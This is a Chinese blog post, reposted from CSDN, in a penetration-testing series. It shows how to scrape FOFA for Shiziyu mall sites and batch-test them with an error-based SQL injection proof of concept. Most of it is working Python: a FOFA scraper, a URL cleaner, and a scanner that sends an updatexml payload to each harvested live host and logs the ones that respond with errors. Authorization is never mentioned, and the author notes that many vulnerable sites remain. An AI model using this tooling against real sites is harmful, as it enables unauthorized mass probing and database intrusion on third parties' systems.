开发实战(6)--对fofa收集的漏洞资产使用poc进行批量验证

简介: 主要还是围绕渗透测试的流程进行开发,一般在信息收集后,在渗透测试后,在发现通用型漏洞时,我们为了节省时间,可以通过写批量脚本来信息收集,然后使用poc来进行批量验证,本篇是一个编写批量验证python的示例.

前言

版权声明:本文为本博主在CSDN的原创文章搬运而来,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。                            

原文链接:https://blog.csdn.net/weixin_72543266/article/details/138048042

       主要还是围绕渗透测试的流程进行开发,一般在信息收集后,在渗透测试后,在发现通用型漏洞时,我们为了节省时间,可以通过写批量脚本来信息收集,然后使用poc来进行批量验证.

       紧接着上一篇文章西了一个使用fofa脚本突破注册会员限制进行信息爬取.但是对收集的CVE-2019-2725 weblogic 未授权远程代码的信息进行批量验证时发现,收集的信息居然一个漏洞都没有

可能是因为漏洞出现太早了被别人刷没了,所以没有了,所以用之前写的狮子鱼批量监测作为演示吧,算是一个编写通用脚本的演示,这个现在漏洞存在还挺多的

1.FOFA收集漏洞信息语法:

1.1.收集语法及解释

     这里解释一下语法的意思,其实是搜索,URL出含有下面语句的资产,狮子鱼的开发时的特征

"/seller.php?s=/Public/login"

image.gif

image.gif 编辑  

1.2.构造XPath匹配

image.gif

这里直接构造xpath提取

//span[@class="hsxa-host"]/a/@href


1.3.进行fofa一页的信息收集  

这个是怎么写的,以及,如何突破注册会员限制进行超过5页的信息爬取,在我上一篇文章中有提及

# -*- coding: utf-8 -*-
import requests
import base64
from lxml import etree
fofa_url = 'https://fofa.info/result?qbase64='
search_worlds = '"/seller.php?s=/Public/login"'
search_worlds_base64 = base64.b64encode(search_worlds.encode('utf-8')).decode('utf-8')
url = str(fofa_url + search_worlds_base64)
# print(url)
# 使用verify=false会出现waring警告,去掉警告用下面这条语句
requests.packages.urllib3.disable_warnings()
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0',
    'Cookie': ''  # 填入自己的cookie,不知道看我上一篇文章怎么获得
}
result = requests.get(url, headers=headers, verify=False)
# data = result.content.decode('utf-8')
# 虽然还是会导致出现的返回的文本中出现乱码,但是可以进行处理
data = result.content.decode('gbk', errors='ignore')
# print(data)
html = etree.HTML(data)
# IPaddrs = html.xpath('//div[@class="hsxa-meta-data-item"]/div[@class="hsxa-clearfix hsxa-meta-data-list-revision-lv1"]/div[@class="hsxa-fl hsxa-meta-data-list-lv1-lf"]/span[@class="hsxa-host"]/text()')
IPaddrs = html.xpath('//span[@class="hsxa-host"]/a/@href')
print(IPaddrs)

image.gif

image.gif

2.登录界面

2.1后台登录界面(一般)

image.gif

2.2后台登录界面(特殊)

今天测试时,意外发现的不同页面

image.gif

3.编写验证脚本

3.1 熟悉漏洞poc

               看了下面的poc,学过sql注入的师傅肯定很清楚,就是sql里面的报错注入

/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)

image.gif

3.2 如何进行验证呢

直接将漏洞poc与我们上面收集的资产直接进行拼接就可以了,如果出现报错页面,那么代表存在漏洞,但是在今天验证的时候,出现的问题,在第二次验证的时候又消失了,等碰到再改脚本吧

                       看报错页面,关键部分就是出现一个syntax和一个数据库名

image.gif

3.3. 进行编写

我把需要编写的几个部分进行拆分一下,方便学习的师傅进行理解

进行存储验证poc的变量

payload = "/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)"

image.gif

3.1.2.拼接部分

就是将收集的资产与payload进行拼接起来的函数,以及写的headers的作用是避免反爬机制,传入的url是从,收集资产的txt文件中,将每条信息进行传入,然后进行后续的拼接.

def POC(url):
    target_url = url + payload
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) "
                      "Chrome/86.0.4240.111 Safari/537.36",
    }

image.gif

3.1.3.请求与验证部分

       使用try-except的作用是,如果出现超时,或是错误其他一些错误信息时,可以避免,因为爆破而停止对资产的验证,因为验证方式是使用拼接代表使用get请求进行请求,下面就是将前面写的构造好的url,请求头,以及超时填入.用了if判断是通过判断,前面图中,出现爆破页面后,图中出现明显的sql注入报错词syntax,后确定为存在报错注入,避免因为其他报错,而出现误报,其他错误就显示请求失败.

try:
        response = requests.get(url=target_url, headers=headers, verify=False, timeout=10)
        print("正在测试:", target_url)
        if "syntax" in response.text:
            print("上述地址存在SQL注入")
            return url
    except Exception as e:
        print("请求失败!")

image.gif

 3.1.4.传入与保存

     通过个人比较喜欢使用的with--open格式进行编写,其实是为了避免遗忘关闭文件,下面就是将资产中存在请求协议的资产进行传入,进行拼接,当然对于没有的资产,我其实是写了一个脚本进行处理的,因为我写的通过fofa搜集的资产是没有请求协议的.最后,将返回结果不为空的存在漏洞资产进行保存.

with open("狮子鱼SQL.txt", "r") as f:
        results = f.readlines()
    for result in results:
        if ("http" or "https") in result:
            url = result.strip()
            SQL = POC(url)
            with open("存在狮子鱼SQL注入.txt", "a+") as f:
                if "None" not in str(SQL):
                    f.write(str(SQL) + "\n")

image.gif

 3.1.5.对fofa收集的狮子鱼资产进行筛选和处理

# 链接处理脚本
# 打开要处理的文件
with open("url.txt", "r") as f:
    # 进行处理后进行存储的文本
    f1 = open("new_url.txt", "w")
    for url in f:
        if url.startswith("https"):
            # 包含协议的ip
            # 将url进行分割,取出协议部分,去除端口部分,并添加"/",最后去掉没一行的换行
            new_url = ((url.split(":")[0] + ":" + url.split(":")[1]).strip() + "/").strip()
            # print(new_url)
            #
            f1.write(new_url + "\n")
        else:
            # 给不含协议的ip,去除端口部分,并添加协议和"/"
            # 这里因为在组成http协议的链接后会自动换行,所以先去掉换行,然后进行组成
            new_url = (("http://" + url.split(":")[0]).strip() + "/").strip()
            # print(new_url)
            f1.write(new_url + "\n")
print("!!!链接已处理完毕!!!")

其中url.txt中就是是用我写的fofa脚本进行收集的资产,新的是处理后的资产

 3.1.5.完整代码

# -*- coding:utf-8 -*-
import requests
import urllib3
urllib3.disable_warnings()  # 忽略https证书告警
payload = "/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)"
def POC(url):
    target_url = url + payload
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) "
                      "Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        response = requests.get(url=target_url, headers=headers, verify=False, timeout=10)
        print("正在测试:", target_url)
        if "syntax" in response.text:
            print("上述地址存在SQL注入")
            return url
    except Exception as e:
        print("请求失败!")
if __name__ == '__main__':
    with open("狮子鱼SQL.txt", "r") as f:
        results = f.readlines()
    for result in results:
        if ("http" or "https") in result:
            url = result.strip()
            SQL = POC(url)
            with open("存在狮子鱼SQL注入.txt", "a+") as f:
                if "None" not in str(SQL):
                    f.write(str(SQL) + "\n")

image.gif

总结

 对收集的漏洞信息进行批量监测的一个通用脚本,本质是可以做一个通用的漏洞批量监测的通用模板,可惜的是没有成功获得可以进行测试的weblogic的资产,但是还是发现狮子鱼确实漏洞资产很多可以进行验证.

相关文章
|
Web App开发 XML 安全
ZeroShell防火墙存在远程命令执行漏洞(CVE-2019-12725)
zeroshell防火墙存在远程命令执行漏洞,攻击者可通过特定URL链接对目标进行攻击!!!
2451 1
|
SQL 监控 druid
Druid未授权访问 漏洞复现
Druid未授权访问 漏洞复现
20292 0
|
6月前
|
存储 JavaScript 安全
Web渗透-XSS漏洞深入及xss-labs靶场实战
XSS(跨站脚本攻击)是常见的Web安全漏洞,通过在网页中注入恶意脚本,窃取用户信息或执行非法操作。本文介绍其原理、分类(反射型、存储型、DOM型)、测试方法及xss-labs靶场实战案例,帮助理解与防御XSS攻击。
2183 1
Web渗透-XSS漏洞深入及xss-labs靶场实战
|
6月前
|
数据采集 安全 算法
2024第十五届蓝桥杯网络安全赛道省赛题目writeup(包含理论题、web、crypto、misc、reverse、pwn)
本文是2024年第十五届蓝桥杯网络安全赛道CTF真题赛题详解。主要内容包括PHP运算符、代码审计、爬虫协议、流量分析、AES/RSA加密、DWT盲水印、逆向工程、栈溢出和堆漏洞利用等技术点。其中,爬虫协议题目通过访问robots.txt获取flag;流量分析题目使用Wireshark导出HTTP对象并解密base64数据;逆向工程题目分析RC4和XXTEA算法;Pwn题目利用栈溢出和UAF漏洞实现攻击。文章详细记录了每道题的解题思路和具体步骤。
2024第十五届蓝桥杯网络安全赛道省赛题目writeup(包含理论题、web、crypto、misc、reverse、pwn)
|
11月前
|
SQL 安全 关系型数据库
SQL注入之万能密码:原理、实践与防御全解析
本文深入解析了“万能密码”攻击的运行机制及其危险性,通过实例展示了SQL注入的基本原理与变种形式。文章还提供了企业级防御方案,包括参数化查询、输入验证、权限控制及WAF规则配置等深度防御策略。同时,探讨了二阶注入和布尔盲注等新型攻击方式,并给出开发者自查清单。最后强调安全防护需持续改进,无绝对安全,建议使用成熟ORM框架并定期审计。技术内容仅供学习参考,严禁非法用途。
1718 0
|
存储 安全 JavaScript
【XSS】XSS漏洞详细指南
【XSS】XSS漏洞详细指南
789 3
|
8月前
|
安全 网络协议 Java
Apache Log4j远程代码执行漏洞详解与利用指南
在尝试连接至192.168.0.1的9999端口时,采用base64编码可以进一步提升连接的安全性。通过将连接命令进行base64编码,然后在目标系统上执行解码操作,从而实现对9999端口的隐蔽且安全的连接。但请务必在合法且获得明确授权的前提下使用此方法,同时需严格遵循相关法规和道德规范。
|
安全 搜索推荐 生物认证
FOFA基础和使用技巧
FOFA基础和使用技巧
|
消息中间件 安全 Java
vulhub部分复现记录(后面大概都是原文档了,也比较难复现就不继续了)
本文介绍了多个软件的安全漏洞及其复现过程,涉及的软件包括Vulhub、Flask、ActiveMQ、Adminer、Airflow、Apache Druid、Apereo CAS、APISIX、AppWeb、Aria2、Bash、Cacti、Celery、CGI、ColdFusion和Confluence。每个部分详细描述了漏洞的背景、环境搭建步骤、漏洞复现的具体操作和验证方法。例如,Flask的SSTI漏洞通过构造特定的模板参数实现命令执行;ActiveMQ的反序列化漏洞利用特制的序列化对象触发;这些示例不仅展示了漏洞的危害性,还提供了实际的复现步骤,帮助读者深入理解这些安全问题。
3233 3
vulhub部分复现记录(后面大概都是原文档了,也比较难复现就不继续了)
|
XML 安全 网络安全
开发实战(5)--如何编写fofa脚本进行资产的信息收集
主要还是围绕渗透测试的流程进行开发,一般在信息收集后,在渗透测试后,在发现通用型漏洞时,我们为了节省时间,可以通过写批量脚本来信息收集,然后使用poc来进行批量验证. 作为一个fofa工程师,那么我们当然是使用fofa进行信息搜集喽,刚好也借着这个机会熟悉一下fofa的API文档,为后面写利用工具做好铺垫

热门文章

最新文章